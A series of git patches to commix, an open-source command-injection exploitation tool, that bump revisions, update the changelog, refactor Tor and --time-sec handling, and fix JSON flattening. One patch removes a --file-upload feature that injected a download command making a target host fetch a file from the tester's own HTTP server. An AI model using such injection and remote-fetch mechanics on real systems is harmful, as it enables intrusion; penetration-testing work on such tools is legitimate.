b/src/utils/settings.py index 165cb3fe7f..7240645abe 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -538,15 +538,23 @@ class OS(object): 86, 75, 74, 88, 81, 90 ] -# Common symbols only (last) -SYMBOLS = [ - 32, 95, 45, 46, 47, 64, # most common - *range(33, 45), # ! " # $ % & ' ( ) * + , - *range(58, 64), # : ; < = > ? - *range(91, 95), # [ \ ] ^ - *range(96, 97), # ` - *range(123, 127), # { | } ~ -] +# Common printable ASCII symbols (ordered last in charset) +# Includes space and frequently used separators first: _ - . / @ +# Followed by the remaining printable punctuation ranges: +# 33–44 -> ! " # $ % & ' ( ) * + , +# 58–63 -> : ; < = > ? +# 91–94 -> [ \ ] ^ +# 96 -> ` +# 123–126-> { | } ~ +# `set()` removes duplicates and `sorted()` keeps the list stable +SYMBOLS = sorted(set( + [32, 95, 45, 46, 47, 64] + + list(range(33, 45)) + + list(range(58, 64)) + + list(range(91, 95)) + + list(range(96, 97)) + + list(range(123, 127)) +)) CHAR_POOL_SINGLE = (FREQ_UPPER + FREQ_LOWER + DIGITS + SYMBOLS) CHAR_POOL_MULTI = (FREQ_LOWER + DIGITS + FREQ_UPPER + SYMBOLS) From 7f706258796a9476faf3b738cf42a1b4be4bf5bc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 22 Mar 2026 11:46:37 +0200 Subject: [PATCH 0668/1023] Trivial update to remove duplicates while preserving the defined symbol order --- src/utils/settings.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 7240645abe..f28c5ca7d0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -546,15 +546,17 @@ class OS(object): # 91–94 -> [ \ ] ^ # 96 -> ` # 123–126-> { | } ~ -# `set()` removes duplicates and `sorted()` keeps the list stable -SYMBOLS = sorted(set( +# Remove duplicates while preserving the defined symbol order +SYMBOLS = ( [32, 95, 45, 46, 47, 64] + list(range(33, 45)) + list(range(58, 64)) + list(range(91, 95)) + list(range(96, 97)) + list(range(123, 127)) -)) +) + +SYMBOLS = [x for i, x in enumerate(SYMBOLS) if x not in SYMBOLS[:i]] CHAR_POOL_SINGLE = (FREQ_UPPER + FREQ_LOWER + DIGITS + SYMBOLS) CHAR_POOL_MULTI = (FREQ_LOWER + DIGITS + FREQ_UPPER + SYMBOLS) From 525bf029971ba978e614e19cbaa9e7f25d9683b0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 28 Mar 2026 09:45:19 +0200 Subject: [PATCH 0669/1023] The deprecated `--tor-check` flag has been removed, and Tor connectivity is now handled internally with no separate check option --- doc/CHANGELOG.md | 1 + src/core/main.py | 6 ------ src/core/requests/requests.py | 22 +++++++--------------- src/core/requests/tor.py | 32 ++++++++++++++++++++++---------- src/utils/menu.py | 6 ------ src/utils/settings.py | 2 +- 6 files changed, 31 insertions(+), 38 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index acfae49e7c..4fda72c2d0 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: The deprecated `--tor-check` flag has been removed, and Tor connectivity is now handled internally with no separate check option. * Revised: Improved handling of injectable parameters in JSON objects. * Revised: Refactored heuristic payload preprocessing to normalize randomized placeholders. * Added: Standardized JSON output formatting with 2-space indentation. diff --git a/src/core/main.py b/src/core/main.py index 69dad7c826..1ba77a45db 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -765,12 +765,6 @@ def main(filename, url, http_request_method): if menu.options.os: checks.user_defined_os() - # Check if defined "--check-tor" option. - if menu.options.tor_check and not menu.options.tor: - err_msg = "The '--check-tor' swich requires usage of '--tor' switch." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check if defined "--abort-code" option. if menu.options.abort_code: try: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 43ce80b806..5b1d2d7011 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -299,15 +299,7 @@ def request_failed(err_msg): except IndexError: error_msg = str(err_msg) - if "Tunnel connection failed" in str(error_msg) and menu.options.tor: - err_msg = "Can't establish connection with the Tor network. " - err_msg += "Please make sure that you have " - err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " - err_msg += "so you could be able to successfully use switch '--tor'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - elif any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): + if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): settings.MAX_RETRIES = 1 error_msg = "Can't establish SSL connection. " if settings.MULTI_TARGETS or settings.CRAWLING: @@ -318,18 +310,18 @@ def request_failed(err_msg): else: return False - elif re.search(r"(connection\s*refused|timed?\s*out|no\s*route|unreachable)", str(error_msg), re.IGNORECASE): + elif re.search(r"(connection\s*refused|timed?\s*out|no\s*route|unreachable|tunnel)", str(error_msg), re.IGNORECASE): settings.MAX_RETRIES = 1 err = "Unable to connect to the target URL" if menu.options.tor: - err += " or Tor HTTP proxy." + err += " using the Tor network" elif menu.options.proxy or menu.options.ignore_proxy: - err += " or proxy" + err += " using the defined HTTP proxy" err = err + " (Reason: " + str(error_msg) + "). " if menu.options.tor: - err += "Please make sure that you have " - err += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " - err += "so you could be able to successfully use switch '--tor'." + err += "Please make sure that the Tor service is running and " + err += "that Privoxy is properly configured to forward traffic to Tor. " + err += "This is required in order to use the '--tor' switch." if settings.MULTI_TARGETS or settings.CRAWLING: err = err + "Skipping to the next target." error_msg = err diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index afe1162dd8..ff0e590c59 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -29,31 +29,43 @@ """ def tor_connection_error(): - err_msg = "It appears that Tor is not properly set. Please " - if not menu.options.tor_port: - err_msg += "try again using option '--tor-port'." - else: - err_msg += "check again the provided option '--tor-port'." + err_msg = "Tor connection could not be established. " + err_msg += "Please ensure Tor is running and reachable" + err_msg += " and that any provided options (e.g., '--tor-port') are correct." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise SystemExit() + def do_check(): - info_msg = "Testing Tor HTTP proxy settings." + info_msg = "Testing connection to the Tor network." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.offline: err_msg = "You cannot use Tor network while offline." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + try: request = _urllib.request.Request(settings.CHECK_TOR_PAGE, method=settings.HTTPMETHOD.GET) response = proxy.use_proxy(request) page = response.read().decode(settings.DEFAULT_CODEC) - except Exception as err_msg: + except Exception: page = None - if not page or "Congratulations" not in page: + + if not page: tor_connection_error() + + ip_match = re.search(r'Your IP address appears to be:\s*(\d+\.\d+\.\d+\.\d+)', page) + tor_ip = ip_match.group(1) if ip_match else "unknown" + + if tor_ip == "unknown": + warn_msg = "Tor page fetched but no IP detected. Tor may not be routing traffic properly." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: - info_msg = "Connection with the Tor HTTP proxy is properly set. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL >= 1: + debug_msg = "Tor connection established and traffic is routing through exit node: IP: " + tor_ip + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # eof \ No newline at end of file diff --git a/src/utils/menu.py b/src/utils/menu.py index e3d40b66ed..a07336a32b 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -269,12 +269,6 @@ def banner(): default=False, help="Set Tor proxy port (Default: 8118).") -request.add_option("--tor-check", - action="store_true", - dest="tor_check", - default=False, - help="Check to see if Tor is used properly.") - request.add_option("--auth-url", action="store", dest="auth_url", diff --git a/src/utils/settings.py b/src/utils/settings.py index f28c5ca7d0..6672b9a0bb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a8e5b6323d7ab13367c3ab60268b2d3f9581faab Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 4 Apr 2026 07:13:52 +0300 Subject: [PATCH 0670/1023] Small typo fix in CHANGELOG.md --- doc/CHANGELOG.md | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4fda72c2d0..4df47c24b2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -136,7 +136,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding Windows-based payloads for every supported technique. * Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. -* Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. +* Removed: The deprecated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. * Revised: Improvement regarding identifying injection marker (i.e. asterisk `*`) in provided options. * Revised: Improvement regarding shellshock module. * Added: Support regarding parsing target(s) from piped-input (i.e. `stdin`). diff --git a/src/utils/settings.py b/src/utils/settings.py index 6672b9a0bb..73172bb736 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c057e8cedff013681583808fe0e12d0a8ce2144d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 15 Apr 2026 07:57:58 +0300 Subject: [PATCH 0671/1023] Improved list conversion logic and recursion handling --- src/thirdparty/flatten_json/flatten_json.py | 44 ++++++++++++++------- src/utils/settings.py | 2 +- 2 files changed, 31 insertions(+), 15 deletions(-) diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 7ec4066a0f..0eea7db7f5 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -132,27 +132,43 @@ def unflatten_list(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR): def _convert_dict_to_list(obj, parent_obj=None, parent_key=None): if not isinstance(obj, dict): - return + return obj try: - # Attempt to convert all keys to integers keys = sorted(int(k) for k in obj) except (ValueError, TypeError): keys = [] - if (keys and keys[0] == 0 and keys[-1] == len(keys) - 1 and - sum(keys) == len(keys) * (len(keys) - 1) // 2 and - check_if_numbers_are_consecutive(keys)): - # Looks like a list + is_list_like = ( + keys and + keys[0] == 0 and + keys[-1] == len(keys) - 1 and + sum(keys) == len(keys) * (len(keys) - 1) // 2 and + check_if_numbers_are_consecutive(keys) + ) + + if is_list_like: + new_list = [obj[str(k)] for k in keys] + + # Recursively process list elements + for i, item in enumerate(new_list): + if isinstance(item, dict): + new_list[i] = _convert_dict_to_list(item) + + # Replace in parent or return if root if parent_obj is not None and parent_key is not None: - parent_obj[parent_key] = [obj[str(k)] for k in keys] - obj = parent_obj[parent_key] # update reference for nested recursion + parent_obj[parent_key] = new_list + return new_list + else: + return new_list + + # Not list-like → recurse normally + for k, v in list(obj.items()): + if isinstance(v, dict): + obj[k] = _convert_dict_to_list(v, obj, k) + + return obj - # Recursively process nested dictionaries - if isinstance(obj, dict): - for k, v in obj.items(): - if isinstance(v, dict): - _convert_dict_to_list(v, obj, k) - _convert_dict_to_list(unflattened_dict, None, None) + unflattened_dict = _convert_dict_to_list(unflattened_dict) return unflattened_dict diff --git a/src/utils/settings.py b/src/utils/settings.py index 73172bb736..618c7b821b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 40818ad9eafcf60c9a323e8e24ee1c756ac5cbff Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 23 Apr 2026 08:30:29 +0300 Subject: [PATCH 0672/1023] Trivial update --- src/utils/common.py | 4 +--- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 3b2c03f9cd..3e37b22609 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -141,9 +141,7 @@ def running_as_admin(): def days_from_last_update(): days_from_last_update = int(time.time() - os.path.getmtime(settings.SETTINGS_PATH)) // (3600 * 24) if days_from_last_update > settings.NAGGING_DAYS: - warn_msg = "You haven't updated " + settings.APPLICATION + " for more than " - warn_msg += str(days_from_last_update) + " day" - warn_msg += "s"[days_from_last_update == 1:] + "!" + warn_msg = "Last update " + str(days_from_last_update) + " days ago, update check is recommended." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 618c7b821b..fa65fc36ff 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c3cfd4390dfe5dfce65bc5c49a4828d1133130a2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 1 May 2026 11:00:17 +0300 Subject: [PATCH 0673/1023] Refactored `--time-sec` option to apply only to time-related techniques --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/handler.py | 3 +-- src/core/main.py | 2 +- src/utils/menu.py | 2 +- src/utils/settings.py | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4df47c24b2..0d6f051473 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Refactored `--time-sec` option to apply only to time-related techniques. * Revised: The deprecated `--tor-check` flag has been removed, and Tor connectivity is now handled internally with no separate check option. * Revised: Improved handling of injectable parameters in JSON objects. * Revised: Refactored heuristic payload preprocessing to normalize randomized placeholders. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9828fa8a5d..dbc8bc07cf 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3104,7 +3104,7 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ def time_related_timesec(): min_safe_delay = 0.5 # minimum safe delay if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay: - warn_msg = "Adjusting '--time-sec' to minimum safe delay of '" + str(min_safe_delay) + "'." + warn_msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + "s. In case of inconsistencies, increase it manually." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return min_safe_delay else: diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index d2f4decbbf..9bfa37345f 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -438,8 +438,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec call_tmp_based = False next_attack_vector = False export_injection_info = False - timesec = checks.time_related_timesec() - + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: try: import html diff --git a/src/core/main.py b/src/core/main.py index 1ba77a45db..a863e30c7b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -821,7 +821,7 @@ def main(filename, url, http_request_method): pass # Seconds to delay between each HTTP request. - if menu.options.delay > 0: + if menu.options.delay != 0: settings.DELAY = menu.options.delay # Check if defined "--timesec" option. diff --git a/src/utils/menu.py b/src/utils/menu.py index a07336a32b..834a248944 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -486,7 +486,7 @@ def banner(): help="Seconds to delay between each HTTP request.") injection.add_option("--time-sec", - default=1, + default=0, action="store", type="float", dest="timesec", diff --git a/src/utils/settings.py b/src/utils/settings.py index fa65fc36ff..91524907c2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b11690ea3662af23cbf54fdf0b22890732050474 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 13 May 2026 18:16:58 +0300 Subject: [PATCH 0674/1023] Trivial update --- doc/CHANGELOG.md | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0d6f051473..5fa9a3c81a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -9,8 +9,8 @@ ## Version 4.1 (2025-12-20) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. -* Fixed: Handling of parameter names containing non-ASCII characters. -* Fixed: Handling of non-ASCII characters in URLs to ensure proper request encoding. +* Fixed: Improved handling of parameter names containing non-ASCII characters. +* Fixed: Improved handling of non-ASCII characters in URLs to ensure proper request encoding. * Revised: Refactored with improved page decompression and safer HTTP response handling. * Revised: Refactored OS looping to respect user-specified targets or automatically iterate over supported OSes if none are specified or detected. * Revised: Refactored User-Agent strings to be loaded from external files rather than being hardcoded. diff --git a/src/utils/settings.py b/src/utils/settings.py index 91524907c2..aa2364cc26 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e49f45fce94928312e790470c1a80c8953fd4ba6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 16 May 2026 09:25:07 +0300 Subject: [PATCH 0675/1023] The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 107 +----------------- src/core/injections/controller/file_access.py | 55 +-------- src/core/injections/controller/injector.py | 2 +- src/core/main.py | 22 +--- src/core/modules/shellshock/shellshock.py | 11 -- src/utils/menu.py | 9 +- src/utils/settings.py | 5 +- 8 files changed, 14 insertions(+), 198 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5fa9a3c81a..a373a5b885 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality. * Revised: Refactored `--time-sec` option to apply only to time-related techniques. * Revised: The deprecated `--tor-check` flag has been removed, and Tor connectivity is now handled internally with no separate check option. * Revised: Improved handling of injectable parameters in JSON objects. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index dbc8bc07cf..87b989a100 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2642,11 +2642,11 @@ def delete_tmp(tmp_fname): """ Check if file exists. """ -def check_file(dest_to_upload): +def check_file(remote_file_path): if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.FILE_LIST_WIN + dest_to_upload.replace("\\","\\\\") + cmd = settings.FILE_LIST_WIN + remote_file_path.replace("\\","\\\\") else: - cmd = settings.FILE_LIST + dest_to_upload + cmd = settings.FILE_LIST + remote_file_path cmd = add_command_substitution(cmd) return cmd @@ -2695,13 +2695,11 @@ def file_read_status(shell, file_to_read, filename): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Check upload/write destination +Build the final destination path for file write operations. """ def check_destination(destination): if menu.options.file_write: where = menu.options.file_write - else: - where = menu.options.file_upload if os.path.split(destination)[1] == "" : _ = os.path.split(destination)[0] + "/" + os.path.split(where)[1] elif os.path.split(destination)[0] == "/": @@ -2751,98 +2749,6 @@ def file_write_status(shell, dest_to_write): warn_msg = "It seems you do not have permission to write files to the remote directory '" + dest_to_write + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) -""" -Handle the file upload process to a remote target. -""" -def check_file_to_upload(): - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: - warn_msg = "The remote file '" + file_to_upload + "' does not appear to exist. (" +str(err_msg)+ ")" - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - dest_to_upload = check_destination(destination=menu.options.file_dest) - info_msg = "Attempting to upload the file '" - info_msg += file_to_upload + "' to the remote directory '" + dest_to_upload + "'." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - return cmd, dest_to_upload - -""" -File upload status. -""" -def file_upload_status(shell, dest_to_upload): - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems you do not have permission to upload files on the remote directory '" + dest_to_upload + "'." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - -""" -Check if defined "--file-upload" option. -""" -def file_upload(): - if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): - # if not menu.options.file_dest.endswith("/"): - # menu.options.file_dest = menu.options.file_dest + "/" - # Check if not defined URL for upload. - while True: - message = "Do you want to enable a local HTTP server? [Y/n] > " - enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) - if enable_HTTP_server in settings.CHOICE_YES: - - # Check if file exists - if not os.path.isfile(menu.options.file_upload): - err_msg = "The '" + menu.options.file_upload + "' file, does not exist." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Setting the local HTTP server. - if settings.LOCAL_HTTP_IP == None: - while True: - message = "Please enter your interface IP address > " - ip_addr = common.read_input(message, default=None, check_batch=True) - # check if IP address is valid - ip_check = simple_http_server.is_valid_ipv4(ip_addr) - if ip_check == False: - err_msg = "The provided IP address seems not valid." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - pass - else: - settings.LOCAL_HTTP_IP = ip_addr - break - - # Check for invalid HTTP server's port. - if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535: - err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) - info_msg = "Setting the HTTP server on '" + http_server + "/'. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - menu.options.file_upload = http_server + menu.options.file_upload - simple_http_server.main() - break - - elif enable_HTTP_server in settings.CHOICE_NO: - if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): - err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - break - elif enable_HTTP_server in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enable_HTTP_server) - pass def define_vulnerable_http_header(http_header_name): if http_header_name == settings.USER_AGENT.lower(): @@ -2865,11 +2771,6 @@ def check_wrong_flags(): if menu.options.passwords: warn_msg = "The '--passwords' option is not yet supported on Windows targets." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - if menu.options.file_upload : - warn_msg = "The '--file-upload' option is not yet supported on Windows targets. " - warn_msg += "Instead, use the '--file-write' option." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - raise SystemExit() else: if menu.options.is_admin : warn_msg = "Switching '--is-admin' to '--is-root' because " diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index 07dd854428..40c8e5c0d0 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -97,51 +97,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_write_status(shell, dest_to_write) -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - from src.core.injections.results_based.techniques.classic import cb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - from src.core.injections.blind.techniques.time_based import tb_injector as injector - elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector - cmd, dest_to_upload = checks.check_file_to_upload() - if settings.TIME_RELATED_ATTACK: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) - else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - if settings.TIME_RELATED_ATTACK: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) - else: - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) - shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - if settings.TIME_RELATED_ATTACK: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_upload_status(shell, dest_to_upload) - - """ Read a file from the target host. """ @@ -190,15 +145,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if menu.options.file_write: file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) - settings.FILE_ACCESS_DONE = True - + if menu.options.file_read: file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) settings.FILE_ACCESS_DONE = True diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 26cca8c81e..8eac53e3c3 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -56,7 +56,7 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - if menu.options.file_write or menu.options.file_upload: + if menu.options.file_write: minlen = 0 else: 